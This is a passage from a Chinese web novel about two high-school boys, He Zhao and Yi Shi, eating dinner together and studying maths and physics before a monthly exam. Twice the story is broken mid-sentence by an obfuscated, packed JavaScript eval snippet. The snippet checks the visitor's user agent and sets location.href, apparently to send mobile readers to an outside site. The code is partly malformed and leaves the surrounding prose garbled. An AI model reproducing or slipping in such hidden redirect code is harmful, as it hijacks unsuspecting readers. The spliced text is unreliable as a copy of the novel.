易时回答迅速:“我和你一起。” 贺昭下意识看了柳茴一眼:“不……” 不是吧?大哥?你在想什么? 易时像是想起什么,转头对着女生说:“运动城就在那个方向,你可以沿着这条路走过去。” 柳茴似乎也没有想到会这样,微微一愣,眼中的光亮熄灭了,瞧着还有几分委屈。 不过只几秒,她已经坚强地挂上微笑:“啊对,那我先走了,周一见。” 易时坦然且冷漠地点了点头。 柳茴一走,贺昭收起手机,叹口气:“幸好你长了张特好看的脸。” 易时微微蹙眉,似乎有点儿疑惑:“什么?” 贺昭推门进了面包店:“没什么,夸你的脸好看呢。” 易时跟着进去:“……” 过了一会儿,易时走到了他旁边,嗓音低沉:“我和她不是你想的那样。” 贺昭:“我知道,她要去运动城,不知道路,让你帮忙带下路嘛。” 易时:“你怎么知道?” 当然是猜的啊。 他这么聪明伶俐,结合上下文就能猜出来啊。 贺昭迅速挑好了面包,想想觉得有些好笑:“大佬,据我所知,我们学校AB班这么久就转来了一个你,需要你一个刚搬来不久的人带路去运动城,你觉得是什么情况?” 易时看着就是不缺女生喜欢的类型,难道其实还是个什么都不懂的单纯少年?也不至于单纯到这种程度吧? 沉默了一会儿,易时说:“我没有想这个问题。” 贺昭拿着面包去付款:“你现在想也不迟啊,是不是很后悔刚刚那样跟人说话了?” 易时:“不后悔。” 走出面包店时,贺昭问:“你也不想早恋?” 易时似乎觉得“早恋”两个字很有意思,重复了一遍:“早恋?” “有问题吗?”贺昭问。 易时顿了顿:“你为什么不想早恋?” 贺昭语气轻松:“就不需要啊,没意思。我有时候在想,他们说的普通人的日子不就是读书考大学,找一份还不错的工作,找个还不错的人谈个恋爱结婚生孩子……我总觉得我还很小,这些事情都还离我很远,虽然也不排斥,但我实在想象不到这些事发生在我身上。仔细想想,其实我可能没有那么想要过那种生活。” 瞥见易时牵了牵嘴角似乎笑了一下,贺昭啧了声:“我认真跟你谈心呢,你笑什么?” 易时伸手在他脑袋后面拍了一下,他的手很大,几乎罩住了贺昭的脑袋:“确实还很小。” 21. 吃饭 贺昭小时候长得乖巧可爱,叔叔阿姨们时常在他头顶揉一揉,但随着他年纪越大,个子越来越高,几乎没有人再摸他的脑袋。其实贺昭并不讨厌这样亲昵的行为,但他仍往旁边挪了一步,嫌弃地说:“个子高了不起啊?” 易时:“还行。” 易时说话的语气总是很冷淡,贺昭有时候分不清他是认真的还是在说笑。 但何必要分得清楚,直接怼就是了。 贺昭正要开口反击感觉到手机在裤兜里震动,拿出手机,果不其然,屏幕显示来电“爸”,贺昭按掉了没有接。 不一会儿“爸”又在屏幕上跳跃,贺昭又按掉了。 贺昭知道易时肯定看到了,但以他性格肯定不会多问,于是心塞地主动解释:“昨天我爷爷的生日,晚宴很多亲戚朋友都来了,我当着他们面摔碗了,我爸打了一天电话骂我教育我。” 易时有些意外:“摔碗?” 贺昭知道他在意外什么,其实他自己也没想到,他是有点儿任性吧但不是那种任性得肆无忌惮的人,很少做那种激烈得让人下不来面子的事。 贺昭揉了揉鼻子,有些不好意思了:“他们说起我妈和张叔,反正话有些不好听,我一下子没忍住就砸了一下碗,谁知道那酒店的碗那么差,直接就碎了。” 一开始是一个表姑问起林佩玲的身体,姑且还算礼貌,渐渐地他们开始询问林佩玲的店,张叔的工作收入,张江洋的成绩……贺昭耐着性子绕开了话题,他们却还追着不放。高高在上的姿态,貌似关怀实则看笑话一样的语气……贺昭实在是受够了。等他反应过来,碗已经碎了,整个大厅一片安静,贺昭可以感受到所有目光像秤砣一样压在他身上。 奶奶很快反应过来,责备他怎么这么不小心,圆了个场。但现场实在窒息尴尬得让贺昭待不下去,切完蛋糕他就溜走了。 昨晚宾客很多,贺闻彦忙着应酬没空理他。果然今天一早,他才打电话来兴师问罪。 贺昭知道自己做得确实有些过了,下定决心不管贺闻彦骂他什么他都不放在心上,但是偏偏贺闻彦说的是:“你真是被你妈给惯坏了,跟个大小姐一样,这么些年你除了发脾气还学会了什么?学习学习不行,也就仗着爷爷奶奶宠爱你,给人脸色看。” 那一瞬倒不是有多生气,贺昭就是觉得很没有意思。他想,这么多年了,他爸到底有没有试着了解过他呢?如果贺闻彦对他稍微有些了解,也不至于说出这样的话吧?他从小就不是胡乱发脾气的小孩,或许性格算不上太好,但至少身边的朋友邻居亲戚从来没有觉得他是个甩人脸色的大小姐,反而都夸他懂事礼貌。 他平静地听完贺闻彦宛若教育家一般的演讲,问:”你说完了吗?说完了我挂了。” 贺昭挂了电话,贺闻彦应该更生气了,急促的不断的来电宛如一道道催命符,但他没有再接。 易时:“手没事吧?” 贺昭愣了一下,看了眼自己的手:“当然没事,是碗砸在桌上了,不是用手砸碗。” 易时看了他一眼,没有说话,但贺昭从他脸上读出了:还不算笨。 贺昭:“不是,我再生气,也不会傻到用手砸碗,你想什么呢?” 易时:“没想什么。” 贺昭作势磨牙,这人怎么就那么有能用简单几个字就激怒人的能耐呢? 走到六楼,贺昭把背在肩上的画板取下,示意易时:“帮我放进我的画室呗,我家太挤了放不下。” 易时头也不回,顺手接过就往楼上走去。 贺昭开了门,家里安安静静没有人,张江洋估计是不回来吃饭了。 他往沙发上一趴,开始浏览外卖,看了一会儿,选择困难症犯了,看起来好像都挺好吃的好像又都没有那么想吃。 好像也没有很饿。 贺昭刚想放下手机,传来了“嗤拉”炒菜下油锅的声音,旧楼的隔音效果并不好,不知是哪户邻居正在炒菜,锅铲碰撞发出的声响混着辛辣带着饭菜香气的油烟味丝毫不在意他人感受强势入侵。 还是有点儿饿。 吃什么好呢? 这味道,邻居吃的是辣椒炒肉? 但是点过好几家外卖的辣椒炒肉,没有一家好吃的。 贺昭又看了一会儿外卖,炒菜声停止了,应该开始吃饭了。 真好。 不会整个小区就他一个人没吃晚饭了吧? 贺昭翻了个身,仰躺在沙发上,盯着天花板发呆。 要不要吃以及吃什么真是人生两大难题。 对了,楼上那位也一个人,吃饭了吗?吃了什么?或许可以参考一下? 贺昭打开聊天软件,开始打字:晚饭吃什么? 嗯……突然问这个好像有点儿奇怪,跟邀请人吃饭的开场白似的。 贺昭大方地想,不过如果易时没吃饭的话请他吃个饭也没什么,只要他能给出个建议吃什么。 等了一会儿,易时没有回复。 贺昭把还在输入框的下一句“借我参考一下”一个个字删了,突然感觉自己有点儿无聊,又有种仿佛被整个世界抛弃了空落落的感觉。 人到饭点怎么就这么容易孤独脆弱呢? 他有些胡乱地想,其实,人还是得成家立业生儿育女的吧?要不然会有很多孤单的时刻吧?可是成家立业生儿育女就不会有孤单的时刻吗? 每一个人都会有自己的生活,父母会有自己的人生轨迹,妈妈有张叔,贺闻彦有许姨还有两个女儿。兄弟……兄弟也不可能一直在一起,他会有自己的女朋友未来会有自己的家庭。孩子也不会一直陪伴着你,长大后总要自由飞翔。 没有什么是永远不变的,但也因为这样人生才会有万种可能。 好饿。 饿的时候为什么还要想人生哲理? 要不直接上楼敲门,看看易时在吃什么?大家都这么熟了,看一眼也不过分吧? 算了,见面说什么,说我来看看你吃什么?好像挺变态的,还有点儿丢面子。 贺昭又自暴自弃地想,我可是连晚餐吃什么都想不出来的人,还在意这点面子? 手机震了一下,贺昭迅速划开。 租客:刚在做饭 做饭???! 麻辣小龙虾:你亲手做饭??? 租客:不然用脚? 贺昭顾不上理会易时话语里的嘲讽,连着发了几条消息。 麻辣小龙虾:你会做饭? 麻辣小龙虾:做了什么? 麻辣小龙虾:好吃吗? 又发了个一只狗流口水的表情。 贺昭重新读了一遍自己发的消息,自己意图也太明显语气也太迫切了吧?!如果不是上面显示“正在输入中”,他真想立即撤回消息。 果然人不能冲动,一冲动就会暴露内心。 他都这样问了,易时会不会邀请他上去一起吃? 按道理至少会礼貌性问一下吧?但那是易时啊,贺昭又不太敢确定。 很快,闪出了新消息。 租客:还没吃。 这是回复他最后那句? 没有了?就这样?他问了三个问题,易时就回三个字? 看吧,他果然不会。 贺昭懒懒地抱着抱枕,正要按熄屏幕躺着休息一下,又跳出一条消息。 租客:你呢? 贺昭猛地坐了起来,啪啪打字“我还没吃,看了很久外卖不知道吃什么,饿死了。” 鉴于刚刚太冲动,写完贺昭立即阅读了一遍,这样说好像……似乎……蹭吃的意味太太太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480253|201697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明显了吧! 于是,贺昭把这一串删了,只留下了矜持的三个字:我还没。 思索片刻,改为:我也没。 嗯,挺自然的。 贺昭满意地按了发送。 没一会儿,消息来了。 租客:一起吧,你上来。 贺昭顿时有些感动了。 虽然刚刚也想过就这么直接杀上去,但易时主动开口邀请了又不一样。 大概是上门逼亲和明媒正娶的区别? 这比喻也不对,什么乱七八糟的。 贺昭从冰箱里挑了两瓶可乐作为礼物,走上七楼,按了按门铃。 明明是他的房子,站在门口却隐约有种受邀前来做客的陌生感。 易时很快开了门,贺昭在玄关换鞋。他用余光轻轻扫了一眼,这种感觉更加强烈了,房子里的摆设家具都没有变,但又有种说不上来的不一样。 以前这灯也是这样的颜色,投在屋里这么显清冷安静吗? 难道易时住了没多久这房子就跟他的气质贴合了? 唯一的变化是地上新铺了地毯,贺昭踩了上去,很厚实软软的。 贺昭问:“什么时候铺的地毯,还挺舒服。” 易时给他开了门后就径直进了厨房,在厨房里答:“舅舅让人铺的。” 这房子的每一个角落贺昭都熟悉得不能再熟悉,却莫名有点儿局促。他站了一下,正想到厨房看看需不需要帮忙,易时已经端着一个红色的瓷锅出来了。 易时把锅放在餐桌中央,打开了盖子,锅里满满当当包罗万象,有土豆有胡萝卜有番茄还有牛肉……还有贺昭看不出叫什么的豆子蔬菜。 也不知道是不是真饿了,颜色挺好看,闻着还挺香,看着也挺有食欲。 贺昭悄悄咽了咽口水,斟酌着问:“大乱炖?” 易时走进厨房,又端着两个装着米饭的碟子出来,将其中一个摆在贺昭面前:“差不多。” 前来白吃的贺昭自然不会吝赞美之词:“看着真不错,开饭啦!” 易时已经拿起汤匙,闻言顿了一下,抬眸看了他一眼:“嗯,开吧。” 贺昭舀了满满一大勺盖在饭上,尝了一口,惊艳了,居然还挺好吃,他对着易时竖起大拇指,专心致志吃了起来。 贺昭不说话,易时也没什么话说,两人就像平日里在甜蜜时光吃午饭一样沉默地吃完了这餐饭。 贺昭抽了张纸巾擦了擦嘴,又满足地喝了口可乐:“我真没想到你居然还会做饭。” 易时:“随便做。” 还挺谦虚。 贺昭眼睛一转,故意装模作样点了点头,惋惜地说:“也是,你看起来也不像是个好厨师。” 易时面无表情:“下次别来了。” 下次?还有下次? 说不上为什么,贺昭突然有些想笑。 贺昭敲了敲桌子:“麻烦端正一下态度啊,可是你邀请我来的。” 易时:“你太明显。” 易时没有说太明显什么,贺昭却知道他在说什么。 原来他看出来了啊,他看起来真有那么明显想蹭饭吗? 应该是挺明显的。 兴许是吃饱喝足心情很好,贺昭竟没有被戳破小心思的尴尬,反而忍不住笑了起来:“你还会煮什么啊?下次我们吃什么?” 易时:“让好厨师给你做。” 贺昭能屈能伸:“别这样,我错了,我就是开个玩笑,我刚刚还夸你做得好吃还给你竖大拇指,其实在我心里,你就是最好的厨师。” 说是这样说,语气也故作正经,一双弯弯的笑眼却泄露了他雀跃的笑意。 静了几秒,易时的视线从他脸上挪开,垂下眼眸,语调冷淡:“下次可以试试中餐。” 22. 复习 贺昭吃饱有点儿犯困,眯着眼睛思考要不要帮忙洗个碗,于情于理他都应该做这个事,毕竟易时都请他吃饭了,但是他吃饱后确实又懒得连一根手指头都不想动。 在他犹豫的时候,易时已经站起身利落地收拾了碗盘,拿到厨房拧开了水龙头,没有给他可以插手的余地。 贺昭有些不好意思了,对着厨房说:“后次我请你吃饭吧,你想吃什么,不过我不会做饭,我们可以点外卖,外卖千千万,任君挑选。” 易时的声音混着水声:“不用。” 贺昭:“别看不起伟大的外卖好不好?” 过了一会儿,易时关了水龙头,声音才再度传了出来:“你已经请我吃了很多午饭。” 贺昭光脚踩在地毯上,蹭了蹭,真挺舒服的,他惬意地仰靠在椅子上,喝着可乐再度看向厨房:“都说了不是请,租我们家房子就是包午饭的。你这地毯要是沾上菜汁可乐什么的,应该挺难洗的吧?” 易时回头看了一眼他:“嗯,小心点。” 贺昭啧了声:“为什么看着我说?难道你自己就不会不小心弄脏吗?” 隔着玻璃门,不过说了几句话的时间,易时已经洗完了碗盘,正在用擦碗布一个个擦干,摆进消毒柜。 这人怎么连摆个碗盘都整整齐齐的。 强迫症? 贺昭顺手从自己运动裤的口袋摸出手机,忽然想起什么,摸了摸另一边口袋,果然,他刚刚从家里跑出来没带钥匙。他戳着手机屏幕发消息问张江洋什么时候回来,张江洋没有回复。 贺昭:“我没带钥匙回不了家了,麻烦你多收留我一阵,等下你打算干嘛?” 没等贺昭说出“要不一起打游戏吧,我带你”这句话,易时擦干手走出了厨房:“复习。” 贺昭拉长声音:“复习?复什么习啊,天天学习多没意思啊。” 易时瞥了他一眼:“明天月考。” 贺昭张大嘴巴:“……” 过了一会儿,他说:“真的假的?我怎么不知道?” 话虽这样说,他掐指一算,确实到了月考的日子。 易时:“周老师说这事的时候,你在发呆。” “噢这样,你打算先复习什么啊?不复习的借我看看?”常年临时抱佛脚选手贺昭如是说。 易时:“你想先复习哪科?” 贺昭想了想:“数学?” 易时进了卧室,不一会儿把一沓数学课本练习册本子拿出来,放在了餐桌上。 只有数学?易时自己呢? 见易时转身又要去卧室,贺昭眨了眨眼睛,几乎是脱口而出:“别走啊,你就不能在餐厅和我一起复习吗?” 主卧是贺昭以前的房间,他很清楚里面有落地书架和书桌,而且书桌靠着的那个窗对着小区后面的花园,一般情况下都挺安静,很适合学习。 易时顿了一下:“我忘了拿笔出来。” 不知道是不是他敏感了,贺昭隐隐从他这句平淡的话里读出了一丝丝无奈,怎么觉得自己像是那种上厕所都要找个伴的小朋友,还要人陪着才能复习。 贺昭有些尴尬地应了声“噢”,坐在餐桌旁卖力地用纸巾擦桌子。 他看了眼纸巾,居然一点都不油一点都不脏,易时是怎么把餐桌擦得这么干净? 等易时拿着几支笔出来,贺昭问:“老实告诉我,你是不是处女座的?” 易时径直从那一沓数学相关资料最下面抽出一个本子:“不是。” 贺昭问:“那你是什么星座?” 易时随口应道:“反正不是处女座。” “处女座怎么了?这么完美的星座你有什么不满意?”贺昭瞪他。 易时顿了一下:“你是处女座?” “是啊,我是处女座我骄傲。我的生日是8月31日,暑假最后一天,每次庆祝生日就跟庆祝开学一样,真忧伤。”贺昭撇了撇嘴,“就我们第一次见面的时候不是九月一号嘛,我刚满十七岁的第一天,搞开学活动他们闹着玩给我头发喷了颜色,害得我被老师骂还将我贬谪去给胖子送慰问作业。” 易时垂眸看着本子,语气很平:“然后遇见了要去鬼屋的吸血鬼。” 贺昭本来已经强迫自己忘记了这沙比事,被他这么一说,羞耻的回忆铺面而来,他郁闷了:“你话少人设在我这里崩了知不知道!OOC了!你现在在我这儿就两个标签,嘴欠毒舌!!我那么热心地帮助你,你就没有一点点感动?就不能忘了这茬?” 易时极为平静:“可以忘了,只记得你当时跑得快。” 贺昭成功抓狂:“???你能不能好了?能不能做个人?” 易时极轻地笑了一声,贺昭不想理他,翻了个白眼,粗暴地打开数学课本低头看书。 易时扫了一眼他手上的课本:“数学复习你看课本?” 贺昭:“那不然呢?老周不是说数学题是万变不离其宗吗?” 易时沉默了,过了几秒从旁边抽出一个本子,丢在他面前:“你不如做这个。” 贺昭疑惑地打开本子,里面是一道道打印出来的数学题:“这是什么?” 易时:“挑出来的经典题,你可以做做看。” 贺昭翻了一下,居然有几十道题,一边翻一边说:“也太多了吧?我得做到什么时候啊。” 易时闻言伸手把本子拿了回去,随意翻开:“你研究下这几道题。” 贺昭懵懵地看着他唰唰打钩,重新接过本子,翻开打钩的第一道题,疑惑地问:“你勾的这几道题最经典吗?” 易时毫不客气地说:“这几道最简单。” 贺昭:“……” OK,感受到了来自学霸的藐视。 贺昭拿过草稿本翻到空白页,正准备乖乖做题,听见易时又说:“你把这几道题研究透彻了,再给你勾最经典的。” 贺昭没有抬头,沙沙写算式,十分有自知之明地说:“那估计要到下个月考了。” 易时没有再出声。 贺昭好不容易咬着笔头写完一道题,本想让易时帮他看一下,抬起头却发现易时在很专注地做卷子。贺昭很容易被外界的声音影响或者干扰,也很容易产生多余的思考,但是易时似乎和他完全不同,他的状态简直跟武林高手入定了一样。“外界影响不了他”,不知道为什么贺昭脑子里闪过了这句话。 贺昭盯着他看了一会儿,忽然想起小时候看一个讲动物的片子,里面说狮子狩猎时会屏蔽一切,专注觅食。原来人也可以这样吗?专注做一件事的时候就像开启了屏蔽功能,把眼前的要做的无限放大,其他的无限缩小。 真有意思,这是天赋吗?这样的人想去哪里想做什么都能更快地到达目的地吧? 胡思乱想了一会儿,贺昭觉得自己有被激励到,立即继续做题。 屋里安安静静,静得什么声音也没有,忽然,贺昭的手机震动了一下,不大的声音显得特别突兀,惊得他手忙脚乱颤了一下。 是张江洋回消息了。 张江洋:刚手机没电,我已经回到家了。 贺昭抬起头,发现易时正在看着他。 贺昭伸了个懒腰,动了动脖子:“你有空帮我看看这几题呗,我先回家洗个澡,待会儿上来复习化学。” 难得今晚学习状态这么好,不多复习一点儿都对不起月考。 易时点了点头:“行。” 贺昭下了楼,不止张江洋,就连林佩玲也已经回来了。他和林佩玲闲聊了几句赶紧去洗了个澡,为了节约时间胡乱擦了擦头发就跑上了楼。 易时应着门铃开了门,面无表情看了他湿漉漉又有些乱蓬蓬的头发两秒,往旁边侧开让路让他进来。 贺昭在洗澡前学习的宝座坐下:“我的数学题做得怎么样?还行吧?” 易时关上门,也坐回了他的对面:“差不多就那样。” 贺昭搓了搓脸,给自己打气:“好!接下来是物理!你物理有什么经典题库吗?” 易时正准备把圈画好的化学习题册拿给他,动作进行到一半停了下来:“物理?” “对呀,我突然想起来我化学还不错,物理就没及格过,还是物理的提升空间大。”贺昭坐姿不端把腿折叠在椅子上。 易时起身走进房间,不一会儿走了出来,手上拿着几份卷子。 易时问:“力学和电学,你哪部分问题多一点儿?” 贺昭老老实实:“哪部分问题都多。” 原以为易时听了这话会毫不留情用学霸光芒闪瞎他,可易时十分平静,似乎早就预料到了,径直低头在卷子上连着勾了几道题:“这几道题综合性强,很常规难度也不大,适合你抱佛脚,有什么问题可以问我。” 一时间,贺昭不知道是被学霸鄙视伤自尊,还是学霸一副早料到了连鄙视都不鄙视的时候更伤自尊。 他接过卷子,扫了一眼:“你这是什么卷子?我怎么没有?” 易时:“我按照知识点整合的卷子。” 贺昭惊讶了:“你还整合成卷子打印出来?自己给自己出题?老师的卷子还不够多吗?” “这样方便,这是第一版,做完这一份,电脑对应的存档只留下错题,再打印出来就是错题集。”易时说。 贺昭又问:“那这些题都是你输入到电脑打印出来的啊?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480254|201697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 易时睨了他一眼:“可以扫描。” “噢真高科技,”贺昭说,“你不会还自备打印机吧?” “有,”易时拿起手机,调了个一个小时后的闹钟,竖起手机给贺昭看了一眼,“一个小时。” 贺昭:“什么一个小时?” 易时反扣手机:“给你一个小时写完,我去洗澡。” 贺昭:“???” 贺昭啊了一声,抗议:“我怎么可能写得完?” 易时宛若没有听见,头也不回冷漠地走进了房间,没一会儿出来又进了浴室,期间一个多余的眼神都没给贺昭。 贺昭:“……” 贺昭拈着卷子翻了个身,浴室里传来水声,不知是不是因为洗澡的是易时,贺昭总觉得这水声不慌不忙,根本不像他刚刚洗澡那么争分夺秒。 贺昭心理有些不平衡了。 又有些酸酸地想,也是,学霸哪里需要临时抱佛脚。 贺昭迅速解决了第一问,又盯着题目品了几遍才犹犹豫豫地套上了自己所能想到兴许能有关联的公式。 他翻了翻卷子,剩下的题目也很顺利,几乎只会做第一问。 明明才写了没一会儿,看着一道道排列的物理题目,贺昭觉得脑袋有些痛。 他叹了口气,走到沙发,趴了上去。 他就不应该复习物理,这简直是他的死穴。今晚好不容易提起干劲复习,一碰上物理尽数消散了。 被打击了。 身心俱疲。 他尽力了。 学习好累。 好想睡觉。 易时怎么洗澡那么慢? 贺昭原本就想趴一下,没想到自己竟然真的会睡着,手从沙发边缘滑落,手指触摸到地毯,他才迷迷糊糊地惊醒。睁开眼,易时已经洗完澡,换了一身睡衣,无声站在他旁边,手上还拿着他写的那份卷子。 兴许他看起来太困了,易时的嗓音很低,低得仿佛不想惊扰他:“还学吗?” 贺昭揉了揉眼睛,坐了起来靠着沙发,眼皮仍困怠地微微下垂。 他嗓子有点儿干:“学,你等我一下。” 他光着脚神游到冰箱前,打开冰箱,里面只有矿泉水。 贺昭刚醒来脑子迟缓,过了好几秒才反应过了这不是他家。 他回头问:“这水能喝吗?” 易时回到了餐桌前:“喝吧。” 贺昭拧开一瓶矿泉水,灌了一口,冰凉凉的感觉终于让他清醒了一些。 余光一瞥,他看见易时拿起一只红色的笔,单手拔开笔盖,在他做的第一道题的第二第三问上分别打了个叉。 易时头也没回,却仿佛知道贺昭站在他后面看:“这道题是明显的递进式,三个小问题有所关联,你第二问错了直接影响到了第三问。” 贺昭:“……噢。” 表示自己听见了。 易时语气保持着低沉缓慢,在安静的夜里听起来格外温柔:“第一问速度求对了,第二问,小球从开始运动到分离过程中,受到了哪几个力?” 贺昭弯腰仔细看着图片,迟疑着回答:“重力,支持力?” 易时用红色的笔简单几笔在图上画出受力方向:“嗯,竖直向下的重力,垂直斜面向上的支持力FN,沿斜面向上的挡板支持力F1,你还漏了一个弹簧弹力F。现在,你会想到什么定律?” 贺昭认真地猜:“牛顿第一定律?” 易时笔尖一顿,立即回头瞥了他一眼。 这眼神绝对不对。 贺昭立即改口:“难道是牛顿第二定律?” 易时几不可闻地点了一下头,唰唰把公式写了出来:“你以后记住了,以后类似的题目都要想到这条定律。” 贺昭懵懵地点了点头,反应过来他根本看不见,又应道:“噢好。” 易时又低声讲解了几道题,侧头问:“现在懂了吗?” 从贺昭这个角度刚好可以看见易时高挺的鼻梁,纤长的睫毛,清亮幽深的眼睛,柔软的灯光镀在线条锋利又面无表情的年轻脸庞,平添了几分温柔。 易时用笔轻轻敲了下卷子:“发什么呆?懂了吗?” 贺昭醒了过来,下意识摇了摇头,又像怕他生气会打他一样同时退开一步:“没懂。” 易时面色果然变难看了:“没想你能全懂,卷子拿回去,把这几道题的解题思路记住了。” 贺昭接过卷子,应了声“哦”。 易时又说:“明天考试,回去早点休息。” 贺昭拿着卷子走到门口,门关到一半才后知后觉地又扒开门,往里凑了一颗脑袋:“谢谢易时老师。”